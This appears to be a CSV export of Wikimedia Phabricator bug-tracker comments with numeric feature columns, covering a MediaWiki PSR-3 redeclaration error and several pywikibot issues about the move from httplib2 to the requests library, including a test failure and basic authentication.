Perhaps you have an older extension installed that also ships a PSR-3 interface?",,,1435452621,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,2,True,,,-1,True,0.0,1.0,0.0,1.0,2.0,6.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.5,1.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,9.5,1.5,5.0,1.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,8.5,2.5,8.5,2.0,2.5,9.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,6.0,6.5,3.5,1.0,0.0,0.0,6.0,0.0,2.5,4.0,0.0,2.0,1.0,0.0,0.0,3.9910714285714284,0.7946428571428572,"The error you reported does not mean PSR-3 is not installed. In fact, it means the opposite. The error shows that the CODE directory exists and contains the PSR-3 class.

However when it loads it, it claims it is a redeclaration. In other words, it has been defined by something else. And then when MediaWiki tries to load its own, it ends up loading a second time. Loading the same class twice is not possible and as such the engine aborts with a fatal error.

Perhaps you have an older extension installed that also ships a PSR-3 interface?"
480752,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,"Update. 

I think I narrowed it down to the images directory. When I move the images directory (which holds images as well as PDFs, PPTs) from the installation directory, the issue seems to be solved. When I move the directory back, the error starts again. 

I also tried the maintenance/importImages.php script for importing the images from the old installation directory (instead of simply copying). No luck. ",,,1435156880,,PHID-USER-myidf5vlkwvrgp2iwn76,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,10.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,13.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,10.0,2.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.156626506024097,0.5783132530120482,"Update. 

I think I narrowed it down to the images directory. When I move the images directory (which holds images as well as PDFs, PPTs) from the installation directory, the issue seems to be solved. When I move the directory back, the error starts again. 

I also tried the maintenance/importImages.php script for importing the images from the old installation directory (instead of simply copying). No luck. "
471322,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,(Sorry lcawte; mid-air collision when editing),,,1433843912,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,3.727272727272727,1.0,(Sorry lcawte; mid-air collision when editing)
101601,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,"I got the following error:

```
======================================================================
ERROR: test_follow_redirects (tests.http_tests.TestHttpStatus)
Test follow 301 redirects after an exception works correctly.
----------------------------------------------------------------------
Traceback (most recent call last):
  File ""/home/xzise/Programms/pywikibot/core/tests/http_tests.py"", line 185, in test_follow_redirects
    http.session.redirect_cache.get('http://en.wikipedia.org/wiki/Main%20Page'))
  File ""/home/xzise/.pyenv/versions/3.4.3/lib/python3.4/unittest/case.py"", line 1053, in assertIn
    if member not in container:
TypeError: argument of type 'NoneType' is not iterable
```",Low,25.0,1433591220,1434143929.0,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-TASK-ugvhw7d2467ivxa6axam,task_description,resolved,True,c3,1,True,True,True,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.6666666666666665,0.75,"I got the following error:

``CODE``"
473703,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,"Change 217846 merged by jenkins-bot:
Fix requests redirect test

[[https://gerrit.wikimedia.org/r/217846]]",,,1434124287,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ugvhw7d2467ivxa6axam,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.789473684210526,0.8947368421052632,"Change 217846 merged by jenkins-bot:
Fix requests redirect test

[[GERRIT_URL]]"
473649,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,"Change 217846 had a related patch set uploaded (by John Vandenberg):
Fix requests redirect test

[[https://gerrit.wikimedia.org/r/217846]]
",,,1434117194,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ugvhw7d2467ivxa6axam,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.96,0.88,"Change 217846 had a related patch set uploaded (by John Vandenberg):
Fix requests redirect test

[[GERRIT_URL]]
"
470254,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,I've 2.6.0 so 'redirect_cache' exists there apparently just returns None.,,,1433591679,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-ugvhw7d2467ivxa6axam,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.571428571428571,0.9285714285714286,I've 2.6.0 so 'redirect_cache' exists there apparently just returns None.
470253,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,"You beat me to it.  I get a slightly different output.
```
======================================================================
ERROR: test_follow_redirects (tests.http_tests.TestHttpStatus)
Test follow 301 redirects after an exception works correctly.
----------------------------------------------------------------------
Traceback (most recent call last):
  File ""tests/http_tests.py"", line 185, in test_follow_redirects
    http.session.redirect_cache.get('http://en.wikipedia.org/wiki/Main%20Page'))
AttributeError: 'Session' object has no attribute 'redirect_cache'
```

redirect_cache could be a 2.7.0 thing not available in earlier versions.
```
>>> requests.__version__
'2.2.1'
```",,,1433591562,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ugvhw7d2467ivxa6axam,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.15,0.8,"You beat me to it.  I get a slightly different output.
``CODE`CODE`CODE``"
101494,requests http basic authentication,"user_config.authenticate was a #pywikibot-compat feature, recently re-implemented in core T89417.  With the switch to requests, this has been unimplemented again.

The fallback is to use netrc to specify the basic auth credentials instead of user_config.
http://docs.python-requests.org/en/latest/user/authentication/#netrc-authentication
I am not sure if/how that works on Windows.",Low,25.0,1433493108,1435070221.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-TASK-zn4flazu6obt3l6diafg,task_description,resolved,True,c3,1,True,False,True,-4,True,0.0,0.0,0.0,2.0,2.0,3.0,5.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,15.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.209677419354839,0.8548387096774194,"user_config.authenticate was a #pywikibot-compat feature, recently re-implemented in core T89417.  With the switch to requests, this has been unimplemented again.

The fallback is to use netrc to specify the basic auth credentials instead of user_config.
URL
I am not sure if/how that works on Windows."
479891,requests http basic authentication,"Change 220131 merged by jenkins-bot:
Reimplement Http basic authentication

[[https://gerrit.wikimedia.org/r/220131]]",,,1435064894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zn4flazu6obt3l6diafg,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.368421052631579,0.8947368421052632,"Change 220131 merged by jenkins-bot:
Reimplement Http basic authentication

[[GERRIT_URL]]"
479878,requests http basic authentication,"Change 220131 had a related patch set uploaded (by VcamX):
Reimplement Http basic authentication

[[https://gerrit.wikimedia.org/r/220131]]
",,,1435063812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zn4flazu6obt3l6diafg,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.208333333333333,0.875,"Change 220131 had a related patch set uploaded (by VcamX):
Reimplement Http basic authentication

[[GERRIT_URL]]
"
101228,[BREAKING]  Change: Switch from httplib2 to requests,"After T98671, the following occurs:

```
C:\pwb\core>pwb.py redirect double -moves -total:10 -always -lang:pa
ImportError: No module named requests
Python module requests is required.
Try running 'pip install requests'.
```

Not a good idea to break the bot without any hint!",Low,25.0,1433317404,1495980587.0,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_description,invalid,True,c3,1,True,True,False,-5,True,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.1923076923076925,0.8076923076923077,"After T98671, the following occurs:

``CODE``

Not a good idea to break the bot without any hint!"
866237,[BREAKING]  Change: Switch from httplib2 to requests,release 3.0 is published and requests is mandatory now.,,,1495980587,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,3,True,,,99,True,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7,0.9,release 3.0 is published and requests is mandatory now.
583907,[BREAKING]  Change: Switch from httplib2 to requests,"Change 215603 abandoned by Xqt:
[FEAT] Basic httplib2 support

Reason:
requests looks good with some fixes

[[https://gerrit.wikimedia.org/r/215603]]",,,1450972311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,3,False,,,25,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.793103448275862,0.7586206896551724,"Change 215603 abandoned by Xqt:
[FEAT] Basic httplib2 support

Reason:
requests looks good with some fixes

[[GERRIT_URL]]"
471337,[BREAKING]  Change: Switch from httplib2 to requests,Then you will want https://www.python.org/ftp/python/2.7.10/python-2.7.10.amd64.msi,,,1433845934,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Then you will want URL
471336,[BREAKING]  Change: Switch from httplib2 to requests,I use 64 bit OS,,,1433845823,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.2,1.0,I use 64 bit OS
471197,[BREAKING]  Change: Switch from httplib2 to requests,Is it possible for you to upgrade to Python 2.7.10 ? https://www.python.org/ftp/python/2.7.10/python-2.7.10.msi,,,1433811734,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,17.0,25.0,17.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9166666666666666,Is it possible for you to upgrade to Python 2.7.10 ? URL
471193,[BREAKING]  Change: Switch from httplib2 to requests,"I use Python 2.7.6

C:\Kolega2357core>pip --version
'pip' is not recognized as an internal or external command,
operable program or batch file.

C:\Kolega2357core>pip install httplib2
'pip' is not recognized as an internal or external command,
operable program or batch file.",,,1433811351,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,2.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,11.0,0.0,7.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.2631578947368425,0.49122807017543857,"I use Python 2.7.6

C:\Kolega2357core>pip --version
'pip' is not recognized as an internal or external command,
operable program or batch file.

C:\Kolega2357core>pip install httplib2
'pip' is not recognized as an internal or external command,
operable program or batch file."
471164,[BREAKING]  Change: Switch from httplib2 to requests,"Which version of Python are you using? (could you run python --version)
Does it have pip installed? (try pip --version)
If you are using Python 2.6.8 or lower, I'd suggest upgrading to Python 2.7.10 , which includes pip.

Once you have pip, you can run
```
pip install httplib2
```",,,1433805157,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,8.0,0.0,2.0,2.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,11.0,6.0,11.0,3.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,5.0,2.0,0.0,0.0,3.4375,0.625,"Which version of Python are you using? (could you run python --version)
Does it have pip installed? (try pip --version)
If you are using Python 2.6.8 or lower, I'd suggest upgrading to Python 2.7.10 , which includes pip.

Once you have pip, you can run
``CODE``"
471159,[BREAKING]  Change: Switch from httplib2 to requests,http://tools.wmflabs.org/pywikibot/,,,1433804325,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
471150,[BREAKING]  Change: Switch from httplib2 to requests,Okay where did you get it?,,,1433803388,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Okay where did you get it?
471148,[BREAKING]  Change: Switch from httplib2 to requests,"C:\Kolega2357core>python pwb.py login
ImportError: No module named httplib2
Python module httplib2 >= 0.6.0 is required.
Did you clone without --recursive?
Try running 'git submodule update --init' or 'pip install httplib2'.",,,1433803222,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,11.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.4222222222222225,0.7555555555555555,"C:\Kolega2357core>python pwb.py login
ImportError: No module named httplib2
Python module httplib2 >= 0.6.0 is required.
Did you clone without --recursive?
Try running 'git submodule update --init' or 'pip install httplib2'."
471131,[BREAKING]  Change: Switch from httplib2 to requests,Okay either use a recent version which uses requests or use the 2.0 branch and retest it. If the error still occurs could you paste the output of 'python pwb.py version'? And where did you get the version from? Also you can copy the contents into text and not an image (which would allow others to search for it) by right-clicking and then selecting “Select” and drawing an rectangle to what you want to copy and after that pressing enter to actually copy it.,,,1433801584,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,0.0,3.0,0.0,4.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,8.0,0.0,5.0,2.0,8.0,11.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,8.0,11.0,1.0,2.0,2.0,0.0,8.0,0.0,4.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9166666666666665,0.7291666666666666,Okay either use a recent version which uses requests or use the 2.0 branch and retest it. If the error still occurs could you paste the output of 'python pwb.py version'? And where did you get the version from? Also you can copy the contents into text and not an image (which would allow others to search for it) by right-clicking and then selecting “Select” and drawing an 